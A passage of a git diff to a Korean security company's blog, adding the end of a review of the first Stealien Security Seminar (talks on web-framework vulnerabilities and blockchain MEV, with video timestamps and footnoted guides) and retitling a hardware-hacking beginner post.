하나씩 차근차근 알려주는 윤석찬 연구원의 스윗함에 빠질것 같았지만 겨우겨우 살아 돌아왔네요. 이 발표는 윤석찬 연구원이 직접 여러 프로젝트를 진행하며 배운 내용을 바탕으로 하고 있으니, 굉장히 practical한 발표라고 볼 수도 있겠네요!</p> + +<p>백엔드, 프론트엔드에서 발생할 수 있는 일반적인 취약점들과, Django, React.js와 같은 특정한 플랫폼, 프레임워크에서만 발생할 수 있는 취약점들을 잘 알려 주셔서 너무 좋았다는 평이 가득합니다.</p> + +<p>영상에서는 <a href="https://youtu.be/6YgSTZ9i7Vk?t=10110">2:48:30</a>부터 석찬님의 발표가 시작됩니다. 평소 CTF를 통해 웹해킹은 어느정도 할 수 있지만, real-world에 입문하고 싶은 웹해커들에게 이 발표를 추천하는 바입니다. 🐞</p> + +<h2 id="open-mev">[Open] MEV</h2> + +<p align="center"> + <img src="/assets/2022-06-30-2022_3s_review/hjhan.jpg" /><br /> + <i>발표 현장</i> +</p> + +<p>다섯번째 발표는 스틸리언의 한호정 연구원님이 진행해주셨습니다</p> + +<p>한호정 연구원님은 해당 발표에서 Blockchain에 대한 취약점 분석 외에 MEV(Miner Extractable Value)에 대해서 소개해주셨습니다 +Blockchain에 대한 Security Audit 산업이 MEV에 대한 research로도 발전할 것이라고 보는 한호정 연구원님의 견해는 매우 흥미로운것같습니다</p> + +<p>해당 발표에서는 MEV가 무엇인지, 또 MEV에는 어떠한 종류들이 있었는지, MEV를 완화시키거나 제거하기위해서 어떠한것들이 존재하는지, 마지막으로 한호정연구원님이 직접 MEV에 대해서 추출한 경험담에 대해서 소개합니다</p> + +<p>영상에서는 <a href="https://youtu.be/6YgSTZ9i7Vk?t=12465">3:27:38</a>부터 호정님의 발표가 시작됩니다. 평소 Blockchain에 대해서 관심있는 분들이라면 한번 시청해보시는것을 추천드립니다. 💰</p> + +<h2 id="closing">Closing</h2> + +<p>이제 첫번째 Stealien Securit Seminar를 모두 돌아 봤습니다. 흥미진진한 주제로 발표해 주신 발표자님들 모두에게 감사드리며, 스틸리언에 관심을 가져주시고 방문해주신 분들에게 무한한 감사를 보냅니다. 또한, 비록 현장에 계시진 못했지만 온라인으로 저희를 응원해 주신 분들에게도 감사를 드립니다.</p> + +<p>앞으로도 멋지게 발전해 나가는 스틸리언과 스틸리언의 해커들이 되도록 하겠습니다.</p> + +<p>감사합니다.</p> + +<h2 id="footnotes">Footnotes</h2> + +<div class="footnotes" role="doc-endnotes"> + <ol> + <li id="fn:1" role="doc-endnote"> + <p>Stealien Security Leader, 스틸리언 주관 멘토링 프로그램 <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p> + </li> + <li id="fn:2" role="doc-endnote"> + <p><a href="https://drive.google.com/file/d/1Mk46m5tFapZZ0y4upKxD3R6YsXb4EVZ1/view?usp=sharing">Paper: 권한 상승 취약점 점검 가이드 및 탐지 방법 제안</a>, <a href="https://drive.google.com/file/d/1LscZyKqve60LQsPU98-RgONbP43Mivy1/view?usp=sharing">Doc: 권한 상승 취약점 점검 가이드</a> <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p> + </li> + </ol> +</div>김도현Stealien Security Seminar 1회 리뷰 \ No newline at end of file diff --git a/docs/id/2020-04-13/Introduce.html b/docs/id/2020-04-13/Introduce.html index 9556872..709eebb 100644 --- a/docs/id/2020-04-13/Introduce.html +++ b/docs/id/2020-04-13/Introduce.html @@ -115,10 +115,10 @@

시작합니다

- 하드웨어 해킹: 뉴비 입문기 + 뉴비들의 하드웨어 해킹 입문기
-
하드웨어 해킹 방법론
+
뉴비들의 하드웨어 해킹 입문기